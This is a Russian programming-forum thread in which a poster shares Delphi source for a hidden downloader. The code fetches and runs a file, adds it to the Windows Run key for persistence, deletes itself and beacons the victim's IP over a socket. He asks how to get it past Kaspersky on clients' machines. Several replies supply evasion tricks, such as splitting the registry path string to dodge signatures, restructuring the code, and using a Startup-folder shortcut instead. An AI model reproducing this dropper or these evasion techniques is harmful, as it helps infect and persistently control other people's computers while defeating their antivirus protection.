Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 09.11.2010, 19:37   #1
Nexus2116
 
Регистрация: 20.06.2009
Сообщений: 7
Вопрос Ругается касперский

Преобразовал его в exe и на него ругается каспер предложите варианты
как это обойти

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, registry, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, StdCtrls, ExtCtrls, WinSock, ScktComp;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    Timer1: TTimer;
    Timer2: TTimer;
    ClientSocket1: TClientSocket;
    procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}


function GetLocalIP: String;
const WSVer = $101;
var
  wsaData: TWSAData;
  P: PHostEnt;
  Buf: array [0..127] of Char;
begin
  Result := '';
  if WSAStartup(WSVer, wsaData) = 0 then begin
    if GetHostName(@Buf, 128) = 0 then begin
      P := GetHostByName(@Buf);
      if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
    end;
    WSACleanup;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  Registry: TRegistry;
  ms:TmemoryStream;
begin
ClientSocket1.Active:=true;
ms:=TmemoryStream.create;
idhttp1.Get('http://',ms);
ms.SaveToFile('asd');
ms.Clear;

   Registry := TRegistry.Create;
   Registry.RootKey := hkey_local_machine;
   Registry.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
   Registry.WriteString('system','asd');
   Registry.CloseKey;
   Registry.Free;

winexec('asd',1); {Запуск приложения }
end;

procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application.handle, SW_HIDE);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
   F: TextFile;
   Temp, AppName: string;
begin
      Temp:= 'delete.bat';
      AppName:= ExtractFileName(ParamSTR(0));
      AssignFile(F, Temp);
      Rewrite(F);
      Writeln(F, 'del ' + AppName);
      Writeln(F, 'del ' + Temp);
      CloseFile(F);
      WinExec(PCHar(Temp),SW_HIDE);
      Halt;

end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
ClientSocket1.Socket.SendText(GetLocalIP);
end;

end.
Nexus2116 вне форума Ответить с цитированием
Старый 09.11.2010, 19:43   #2
mihali4
*
Старожил
 
Регистрация: 22.11.2006
Сообщений: 9,201
По умолчанию

Грохнуть касперского и перейти на нормальный антивирус !
Сразу предупреждаю - рекомендации по выбору неоднократно обсуждались.
mihali4 вне форума Ответить с цитированием
Старый 09.11.2010, 19:48   #3
Nexus2116
 
Регистрация: 20.06.2009
Сообщений: 7
По умолчанию

каспер у многих клиентов так что надо обойти это в любом случае
Nexus2116 вне форума Ответить с цитированием
Старый 09.11.2010, 19:55   #4
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

Оставляйте клиентам завещание - мол, добавляйте приложение в исключения. Иначе никак. Касперский - он такой.
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ
Alex Cones вне форума Ответить с цитированием
Старый 09.11.2010, 21:45   #5
Alter
Старожил
 
Аватар для Alter
 
Регистрация: 06.08.2007
Сообщений: 2,183
По умолчанию

Делайте в Create не явную последовательность. Разбейте на процедуры.
Может поможет
Alter вне форума Ответить с цитированием
Старый 09.11.2010, 23:23   #6
mihali4
*
Старожил
 
Регистрация: 22.11.2006
Сообщений: 9,201
По умолчанию

Каспер в истерике от того, что кто-то, как он думает, пытается записать себя в запуск...
Код:
Registry.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
Строку 'Software\Microsoft\Windows\Current Version\Run' разбейте на несколько "дурных" подстрок, например:
Код:
var...
  s: array [1..6] of string;
  ss: string;
  i: integer;
begin
...
ss:='';
s[1]:='Softwar';
s[2]:='e\Microso';
s[3]:='ft\Window';
s[4]:='s\Curren';
s[5]:='tVersio';
s[6]:='n\Run';
   Registry := TRegistry.Create;
   Registry.RootKey := hkey_local_machine;
for i:=1 to 6 do
ss:=ss+s[i];
   Registry.OpenKey(ss,true);
...
end;
mihali4 вне форума Ответить с цитированием
Старый 10.11.2010, 06:49   #7
Johnson
кривокодер ;)
Форумчанин
 
Аватар для Johnson
 
Регистрация: 20.06.2008
Сообщений: 707
По умолчанию

как вариант - копирование ярлыка на программу в
C:\Documents and Settings\Admin\Главное меню\Программы\Автозагрузка
проверено неоднократно и на разных версиях каспера... не ругается.
я понимаю, что это ректальная танзилектомия, но иногда проще так...
"А как написать праграму?, "ришыти задачьку очинь нада" ©с форума. Жить становится интереснее, жить становится веселее...
{Быть или не быть} {Неуспешный суицид}
Johnson вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Касперский по линукс??? jojahti Linux (Ubuntu, Debian, Red Hat, CentOS, Mint) 21 18.10.2009 16:22
Касперский 7 Дырдин Софт 3 11.10.2009 01:03
Касперский Андрей07 Свободное общение 6 10.10.2009 17:45